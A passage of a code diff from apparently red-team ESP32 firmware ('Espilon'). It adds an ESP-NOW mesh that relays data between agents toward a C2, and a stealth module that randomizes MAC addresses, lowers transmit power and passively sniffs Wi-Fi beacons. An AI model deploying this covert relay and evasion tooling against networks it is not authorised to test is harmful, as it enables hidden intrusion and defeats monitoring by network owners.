s_initialized = false;
}
memset(&s_best_relay, 0, sizeof(s_best_relay));
ESP_LOGI(TAG, "ESP-NOW mesh relay stopped");
}
bool rt_mesh_is_running(void)
{
return s_running;
}
bool rt_mesh_send(const uint8_t *data, size_t len)
{
if (!s_running || !s_best_relay.available) return false;
if (len > 240) { /* ESP-NOW max payload = 250, minus RELAY: prefix */
ESP_LOGW(TAG, "Payload too large for ESP-NOW (%d bytes)", (int)len);
return false;
}
/* Build "RELAY:<payload>" */
uint8_t buf[250];
int prefix_len = strlen(RELAY_MAGIC);
memcpy(buf, RELAY_MAGIC, prefix_len);
memcpy(buf + prefix_len, data, len);
esp_err_t ret = esp_now_send(s_best_relay.mac, buf, prefix_len + len);
return (ret == ESP_OK);
}
void rt_mesh_probe(void)
{
if (!s_running) return;
/* Reset best relay */
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, portMAX_DELAY) == pdTRUE) {
memset(&s_best_relay, 0, sizeof(s_best_relay));
xSemaphoreGive(s_relay_mutex);
}
/* Broadcast probe immediately */
uint8_t bcast[6];
memset(bcast, 0xFF, 6);
esp_now_send(bcast, (uint8_t *)PROBE_MAGIC, strlen(PROBE_MAGIC));
}
bool rt_mesh_get_relay(rt_mesh_peer_t *out)
{
if (!out) return false;
if (!s_relay_mutex) {
memset(out, 0, sizeof(*out));
return false;
}
xSemaphoreTake(s_relay_mutex, portMAX_DELAY);
memcpy(out, &s_best_relay, sizeof(rt_mesh_peer_t));
xSemaphoreGive(s_relay_mutex);
return out->available;
}
#else /* !CONFIG_RT_MESH */
bool rt_mesh_start(void) { return false; }
void rt_mesh_stop(void) { }
bool rt_mesh_is_running(void) { return false; }
bool rt_mesh_send(const uint8_t *data, size_t len) { (void)data; (void)len; return false; }
void rt_mesh_probe(void) { }
bool rt_mesh_get_relay(rt_mesh_peer_t *out) {
if (out) { memset(out, 0, sizeof(*out)); out->available = false; }
return false;
}
#endif /* CONFIG_RT_MESH */
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,42 @@
/*
* rt_mesh.h
* ESP-NOW mesh relay between Espilon agents.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Start ESP-NOW mesh (init, register callbacks, start probe/relay). */
bool rt_mesh_start(void);
/* Stop ESP-NOW mesh. */
void rt_mesh_stop(void);
/* Is mesh running? */
bool rt_mesh_is_running(void);
/* Send data via ESP-NOW relay (Agent A → Agent B → C2). */
bool rt_mesh_send(const uint8_t *data, size_t len);
/* Broadcast a probe to find connected agents. */
void rt_mesh_probe(void);
/* Get best relay peer info (device_id, RSSI). Empty if none found. */
typedef struct {
uint8_t mac[6];
char device_id[16];
int8_t rssi;
bool available;
} rt_mesh_peer_t;
bool rt_mesh_get_relay(rt_mesh_peer_t *out);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,272 @@
/*
* rt_stealth.c
* OPSEC: MAC randomization, TX power control, passive scan.
*/
#include "sdkconfig.h"
#include "rt_stealth.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
static const char *TAG = "RT_STEALTH";
/* ============================================================
* MAC randomization
* ============================================================ */
static uint8_t s_orig_mac[6] = {0};
static bool s_mac_saved = false;
void rt_stealth_save_original_mac(void)
{
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
s_mac_saved = true;
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void rt_stealth_randomize_mac(void)
{
uint8_t mac[6];
esp_fill_random(mac, 6);
mac[0] &= 0xFE; /* unicast */
mac[0] |= 0x02; /* locally administered */
/* Must disconnect before changing MAC */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
if (err == ESP_OK) {
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
} else {
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
}
}
void rt_stealth_restore_mac(void)
{
if (s_mac_saved) {
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void rt_stealth_get_current_mac(uint8_t mac[6])
{
esp_wifi_get_mac(WIFI_IF_STA, mac);
}
/* ============================================================
* TX power control
* ============================================================ */
void rt_stealth_low_tx_power(void)
{
/* 8 dBm (arg * 0.25 dBm, so 32 = 8 dBm) */
esp_err_t err = esp_wifi_set_max_tx_power(32);
if (err == ESP_OK) {
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
} else {
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
}
}
void rt_stealth_restore_tx_power(void)
{
esp_wifi_set_max_tx_power(80); /* 20 dBm */
ESP_LOGI(TAG, "TX power restored to 20 dBm");
}
/* ============================================================
* Passive scan promiscuous mode beacon capture
* ============================================================ */
/* WiFi management frame header */
typedef struct {
unsigned frame_ctrl:16;
unsigned duration_id:16;
uint8_t addr1[6]; /* Destination */
uint8_t addr2[6]; /* Source */
uint8_t addr3[6]; /* BSSID */
unsigned seq_ctrl:16;
} __attribute__((packed)) wifi_mgmt_hdr_t;
/* Beacon frame body (partial — just what we need) */
/* Fixed fields: timestamp(8) + beacon_interval(2) + capability(2) = 12 bytes */
#define BEACON_FIXED_LEN 12
/* Tag: SSID = tag_number 0, followed by length, then SSID string */
static rt_scan_ap_t s_scan_results[RT_MAX_SCAN_APS];
static volatile int s_scan_count = 0;
/* Check if we already have this BSSID */
static int find_bssid(const uint8_t bssid[6])
{
for (int i = 0; i < s_scan_count; i++) {
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
return i;
}
return -1;
}
static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
/* Check frame type: beacon = 0x80, probe response = 0x50 */
uint16_t fc = hdr->frame_ctrl;
uint8_t subtype = (fc >> 4) & 0x0F;
if (subtype != 8 && subtype != 5) return; /* 8=beacon, 5=probe_resp */
/* BSSID is addr3 for beacons */
const uint8_t *bssid = hdr->addr3;
/* Skip if already seen */
if (find_bssid(bssid) >= 0) {
/* Update RSSI if stronger */
int idx = find_bssid(bssid);
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
}
return;
}
if (s_scan_count >= RT_MAX_SCAN_APS) return;
/* Parse beacon body for SSID */
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
return;
/* Parse tagged parameters for SSID (tag 0) and RSN/WPA (security) */
const uint8_t *body = pkt->payload + body_offset;
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
/* Remove FCS (4 bytes) if present */
if (body_len > 4) body_len -= 4;
rt_scan_ap_t *ap = &s_scan_results[s_scan_count];
memset(ap, 0, sizeof(*ap));
memcpy(ap->bssid, bssid, 6);
ap->rssi = pkt->rx_ctrl.rssi;
ap->channel = pkt->rx_ctrl.channel;
ap->auth_mode = 0; /* Assume open until we find RSN/WPA tag */
/* Parse IEs (Information Elements) */
size_t pos = 0;
while (pos + 2 <= body_len) {
uint8_t tag_id = body[pos];
uint8_t tag_len = body[pos + 1];
if (pos + 2 + tag_len > body_len) break;
if (tag_id == 0) { /* SSID */
size_t ssid_len = tag_len;
if (ssid_len > 32) ssid_len = 32;
memcpy(ap->ssid, body + pos + 2, ssid_len);
ap->ssid[ssid_len] = '\0';
} else if (tag_id == 48) { /* RSN (WPA2) */
ap->auth_mode = 3; /* WPA2 */
} else if (tag_id == 221) { /* Vendor specific — check for WPA OUI */
if (tag_len >= 4 &&
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
if (ap->auth_mode == 0) ap->auth_mode = 2; /* WPA */
}
}
pos += 2 + tag_len;
}
s_scan_count++;
}
int rt_stealth_passive_scan(int duration_ms)
{
s_scan_count = 0;
memset(s_scan_results, 0, sizeof(s_scan_results));
/* Enable promiscuous mode */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(100));
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
return 0;
}
/* Filter management frames only (beacons, probe responses) */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
return 0;
}
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
/* Channel hop: ~200ms per channel, 13 channels per cycle */
int channels = 13;
int hop_ms = 200;
int elapsed = 0;
while (elapsed < duration_ms) {
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
vTaskDelay(pdMS_TO_TICKS(hop_ms));
elapsed += hop_ms;
}
}
/* Disable promiscuous mode */
esp_wifi_set_promiscuous(false);
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
return s_scan_count;
}
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count)
{
int count = s_scan_count;
if (count > max_count) count = max_count;
memcpy(out, s_scan_results, count * sizeof(rt_scan_ap_t));
return count;
}
#else /* !CONFIG_MODULE_REDTEAM — empty stubs */
#include <string.h>
void rt_stealth_save_original_mac(void) {}
void rt_stealth_randomize_mac(void) {}
void rt_stealth_restore_mac(void) {}
void rt_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
void rt_stealth_low_tx_power(void) {}
void rt_stealth_restore_tx_power(void) {}
int rt_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,54 @@
/*
* rt_stealth.h
* OPSEC: MAC randomization, TX power control, passive scanning.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Save the current STA MAC as original (call once at module init). */
void rt_stealth_save_original_mac(void);
/* Randomize the STA MAC (locally-administered unicast). */
void rt_stealth_randomize_mac(void);
/* Restore the original MAC. */
void rt_stealth_restore_mac(void);
/* Get current STA MAC. */
void rt_stealth_get_current_mac(uint8_t mac[6]);
/* Reduce TX power to stealth level (~8 dBm). */
void rt_stealth_low_tx_power(void);
/* Restore TX power to default (20 dBm). */
void rt_stealth_restore_tx_power(void);
/* Passive scan: channel-hop in promiscuous mode, collect beacons.
* Results stored internally, retrieve with rt_stealth_get_scan_results.
* duration_ms: total scan time (e.g. 3000 for 3s).
* Returns number of unique APs found. */
int rt_stealth_passive_scan(int duration_ms);
/* AP info collected during passive scan */
typedef struct {
uint8_t bssid[6];
char ssid[33];
int8_t rssi;
uint8_t channel;
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
} rt_scan_ap_t;
#define RT_MAX_SCAN_APS 32
/* Get passive scan results. Returns count. */
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count);
#ifdef __cplusplus
}
#endif

View File

@ -2,5 +2,5 @@ idf_component_register(
SRCS
cmd_system.c
INCLUDE_DIRS .
REQUIRES core command esp_timer nvs_flash spi_flash
REQUIRES core esp_timer nvs_flash spi_flash
)

View File

@ -15,7 +15,6 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "command.h"
#include "utils.h"
#define TAG "SYSTEM"
@ -149,6 +148,26 @@ static int cmd_system_info(
first = 0;
#endif
#endif
#ifdef CONFIG_MODULE_HONEYPOT
len += snprintf(buf + len, sizeof(buf) - len, "%shoneypot", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_CANBUS
len += snprintf(buf + len, sizeof(buf) - len, "%scanbus", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_FALLBACK
len += snprintf(buf + len, sizeof(buf) - len, "%sfallback", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_REDTEAM
len += snprintf(buf + len, sizeof(buf) - len, "%sredteam", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_ESPILON_OTA_ENABLED
len += snprintf(buf + len, sizeof(buf) - len, "%sota", first ? "" : ",");
first = 0;
#endif
if (first) {
len += snprintf(buf + len, sizeof(buf) - len, "none");
@ -162,10 +181,10 @@ static int cmd_system_info(
* COMMAND REGISTRATION
* ============================================================ */
static const command_t system_cmds[] = {
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
{ "system_info", 0, 0, cmd_system_info, NULL, false }
{ "system_reboot", NULL, NULL, 0, 0, cmd_system_reboot, NULL, false },
{ "system_mem", NULL, NULL, 0, 0, cmd_system_mem, NULL, false },
{ "system_uptime", NULL, NULL, 0, 0, cmd_system_uptime, NULL, false },
{ "system_info", NULL, NULL, 0, 0, cmd_system_info, NULL, false }
};
void mod_system_register_commands(void)

Some files were not shown because too many files have changed in this diff Show More